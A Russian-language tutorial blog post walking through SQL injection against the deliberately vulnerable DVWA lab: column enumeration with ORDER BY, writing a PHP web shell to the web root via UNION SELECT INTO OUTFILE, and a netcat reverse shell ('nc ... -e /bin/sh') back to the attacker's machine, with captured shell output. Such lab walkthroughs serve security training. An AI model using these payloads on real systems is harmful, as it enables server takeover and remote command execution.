19 апреля, 2024

Как использовать SQL-инъекции для выполнения команд ОС и для получения шелла

Содержание:

Одной из основных целей почти любого взлома является получение шелла (доступа к командной строке) для выполнения системных команд и в итоге овладение целевым компьютером или сетью. SQL-инъекции обычно ассоциируются только с базами данных и теми данными, которые в них содержатся, но на самом деле их можно применять в том числе для получения шелла. В этом уроке мы будем использовать SQL-инъекцию при эксплуатации простой уязвимости для получения возможности выполнения команд, в результате чего получим обратный шелл на сервере.

Для выполнения атаки мы будем использовать Kali Linux и специально созданную виртуальную машину с уязвимостями — DVWA. Если вы новичок в Kali, то рекомендуем проработать наше руководство по настройке и обеспечению безопасности в Kali, чтобы быть уверенным, что ваша система готова к выполнению задач данной статьи.

Обзор SQL-инъекций

SQL-инъекция является одной из самых распространенных уязвимостей в Сети, а также одной из самых опасных. Злоумышленники могут внедрить вредоносный SQL-код, чтобы, например, извлечь конфиденциальную информацию, изменить или уничтожить какие-нибудь данные или упростить проведение своей атаки при попытке завладеть сервером.

Существует много разных типов SQL-инъекций и разнообразных методов атаки для различных систем баз данных, которые используются на тех или иных серверах. Несмотря на то, что этот тип атак является одним из самых простых для начинающих, на мастерское овладение навыком использования и внедрения SQL-инъекций может уйти несколько лет. К счастью, есть довольно много хороших материалов, с помощью которых можно обучиться этому.

Шаг 1. Перечисление целей

Первое, что нужно сделать, это залогиниться в DVWA, используя дефолтные учетные данные: «admin» в качестве имени пользователя и «password» в качестве пароля.

Перейдите на вкладку «Безопасность» («Security») слева и установите уровень безопасности на «низкий» («Low»). Это гарантирует, что наша небольшая демонстрация пройдет без сучка без задоринки.

Теперь, чтобы начать атаку, перейдите на страницу «SQL-инъекция» («SQL Injection»). Здесь мы видим, что функциональность страницы заключается в том, чтобы взять идентификатор пользователя (User ID) и вернуть информацию, в данном случае его имя и фамилию.

Нужно убедиться, что это поле ввода действительно уязвимо для SQL-инъекций. И первое, что нужно попробовать, это просто ввести одинарную кавычку, которая преждевременно закроет SQL-инструкцию, если это поле действительно уязвимо. Когда мы это сделаем, то увидим ошибку, как на скриншоте ниже, которая даже сообщает о том, что в качестве базы данных он использует MySQL. На данный момент очень высока вероятность того, что мы нашли уязвимую точку входа.

Читать также:  Что такое пентест?

Следующее, что нам нужно сделать, это перечислить содержание базы данных и определить количество используемых столбцов. Это позволит нам использовать уязвимость с помощью инъекции UNION-запросов. Чтобы сделать это более наглядным, давайте посмотрим на то, как будет выглядеть SQL-запрос во время обычной отправки пользователем своих данных:

select first_name, surname from users where user_id='';

Скорее всего, этот запрос на бэкенде выглядит именно так, причем first_name и surname являются столбцами в базе данных, всего два столбца. Но мы должны знать наверняка, какие столбцы есть в этой базе данных, иначе ничего работать не будет. Для этого мы можем использовать инструкцию order by.

Эта инструкция сортирует результаты SQL-запроса по столбцам. Поскольку мы уверены, что используются по крайней мере два столбца, то если мы упорядочим результат выдачи по 1-му или 2-му столбцу, запрос должен выполниться успешно. Но что, если мы хотим провести сортировку по 3-му столбцу? Если мы правы, то такой запрос должен привести к ошибке.

Отправьте следующую инъекцию через это поле ввода, и она должна привести к ошибке. Знак решетки (#) здесь используется, чтобы закомментировать оставшуюся часть SQL-запроса, чтобы он не выдавал никаких дополнительных синтаксических ошибок.

' order by 3 #

И мы действительно получаем ошибку, поэтому теперь точно знаем, что используются только два столбца.

Шаг 2. Получение доступа к командной строке и выполнение команд

Теперь, когда у нас есть немного больше информации о базе данных, мы можем использовать ее для выполнения SQL-инъекций на основе UNION-запросов. Оператор UNION используется в языке SQL для объединения результатов (как это следует из его названия) двух или более операторов SELECT. Но для правильной работы операторы должны иметь одинаковое количество столбцов. Вот почему нам нужно было выяснить, сколько столбцов имеется в базе данных.

Читать также:  Как устранить ошибки подключения по Wi-Fi в Windows 10

Есть довольно много вещей, которые мы можем сделать с помощью инъекций на основе UNION-запросов, но в этом уроке мы рассмотрим использование этой уязвимости только для запуска команд ОС. Один из самых простых способов это сделать — загрузить простой PHP-шелл, через который можно транслировать наши команды.

Для загрузки шелла нужно определить корневой каталог веб-сервера. В зависимости от приложения и типа используемого веб-сервера расположение корневой директории может варьироваться, особенно если администратор поменял ее расположение или на нее установлены специальные права. В целях демонстрационного урока мы будем предполагать, что на сервере используется корневая директория сервера Apache, по умолчанию /var/www/, с публичными правами на запись. Информацию о веб-сервере, включая корневую директорию, как правило, можно найти в файле «phpinfo.php».

Для записи в файл мы можем использовать команду into outfile. И в данном случае мы вставим простой PHP-скрипт, который сможет запускать системные команды. Скрипт, который мы по счастливому совпадению назовем «cmd.php», должен выглядеть следующим образом:

<?php system($_GET["cmd"]); ?>

Теперь давайте выполним инъекцию. В PHP-скрипте нам нужно использовать двойные кавычки, поскольку этот блок кода нужно будет включить во вторую часть SQL-инструкции, которая использует одинарные кавычки — это позволит избежать синтаксических ошибок. Полная SQL-инъекция будет выглядеть следующим образом:

' union select 1, '' into outfile '/var/www/dvwa/cmd.php' #

Если это сработало, как и задумано, то мы теперь сможем получить доступ к нашему шеллу через URL, указав системную команду в качестве параметра. Например, команда whoami предоставит нам информацию о текущем пользователе:

Или команда uname -a, которая даст нам информацию о системе:

Но передача всех этих команд через параметры URL — довольно неудобная и утомительная процедура. На самом деле нам нужно использовать этот способ только один раз, чтобы получить обратный шелл, а затем двигаться дальше.

Шаг 3. Обратный шелл с помощью Netcat

Netcat — мощная сетевая утилита, используемая для устранения проблем с подключением, но на самом деле она может применяться хакерами в качестве бэкдора и способа получения шелла. Во многих дистрибутивах Linux эта утилита установлена по умолчанию, поэтому если мы сможем получить доступ, то игра закончена.

Читать также:  Как и зачем менять сервер DNS

Первым делом нам нужно установить «слушателя» на наш локальный компьютер. Используйте команду nc вместе с флагами -lvp. Эти флаги указывают nc прослушивать (l — listen), выдавать подробное описание событий (v — verbose) и конкретный номер порта (p — port) соответственно.

nc -lvp 1234
listening on [any] 1234 ...

Далее, в качестве параметра нашего PHP-шелла в URL-адресе введите следующую команду. Она сообщает серверу выполнить оболочку (-e /bin/sh) и отправить ее обратно на нашу локальную машину. Убедитесь, что вы используете правильный IP-адрес и порт.

nc 172.16.1.100 1234 -e /bin/sh

Подождите несколько секунд, и вы увидите, как наш «слушатель» поймает шелл и откроет соединение. Отсюда мы сможем запускать такие команды, как id, uname -a и ps.

connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 47643
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY          TIME CMD
 4665 ?        00:00:00 apache2
 4669 ?        00:00:00 apache2
 4671 ?        00:00:00 apache2
 4673 ?        00:00:00 apache2
 4674 ?        00:00:00 apache2
 4803 ?        00:00:00 apache2
 4810 ?        00:00:00 apache2
 4914 ?        00:00:00 php
 4915 ?        00:00:00 sh
 4919 ?        00:00:00 ps

Теперь у нас есть подходящие средства, чтобы выполнять команды на веб-сервере не выходя из нашего собственного терминала. И все это с помощью простой уязвимости к SQL-инъекции.

Заключение

Из этой статьи мы узнали, как определить уязвимую точку для использования SQL-инъекции, перечислили внутреннее строение базы данных и смогли использовать эту информацию для загрузки простого PHP-шелла для запуска команд в целевой системе. Оттуда мы еще больше усилили нашу атаку, используя программу Netcat. С ее помощью мы получили обратный шелл, который открыл нам «черный ход» к веб-серверу. Это наглядно демонстрирует, что при достаточном терпении, креативности и небольшой удаче хакер сможет использовать в своих интересах даже небольшие уязвимости и превратить их во что-то более мощное.

Добавить комментарий